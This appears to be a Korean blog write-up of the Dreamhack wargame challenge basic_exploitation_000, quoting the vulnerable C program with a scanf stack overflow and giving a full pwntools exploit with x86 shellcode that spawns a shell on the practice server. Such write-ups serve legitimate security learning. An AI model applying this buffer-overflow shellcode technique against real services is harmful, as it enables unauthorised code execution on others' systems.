basic_exploitation_000
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
# 문제 분석
- basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf); // buf의 시작 주소 leak
scanf("%141s", buf); // bof 발생
return 0;
}
- Debugging
- buf의 크기가 0x80 이므로 buffer overflow를 위해서는 shellcode + dummy(0x80) + ebp(0x4) + ret(0x4)만큼을 payload로 덮어씌워야 함
# exploit
- shellcraft로 쉘을 만들어 사용하려 했는데, 잘 안되는 것 같아 그냥 인터넷에서 쉘코드를 복사해왔다
* scanf를 통해 입력되는 쉘코드 중 특정 문자열부터 날리는게 있다고 주워들었는데 뭐였을까...
from pwn import *
p = remote('host3.dreamhack.games', 13622)
p.recvuntil("buf = (")
buf = int(p.recv(10), 16)
p.recvuntil(")")
print(buf)
shellcode = b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload = shellcode
payload += b"\x90"*(0x80-len(shellcode))
payload += b"\x90"*0x4 # ebp(0x4)
payload += p32(buf) # ret(0x4)
p.sendline(payload)
p.interactive()
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] Return Address Overwrite (0) | 2022.09.01 |
---|---|
[Dreamhack] basic_exploitation_001 (0) | 2022.09.01 |
[Dreamhack] shell_basic (0) | 2022.08.31 |
[Dreamhack] simple_sqli (0) | 2022.03.10 |
[Dreamhack] CSRF-2 (0) | 2022.03.01 |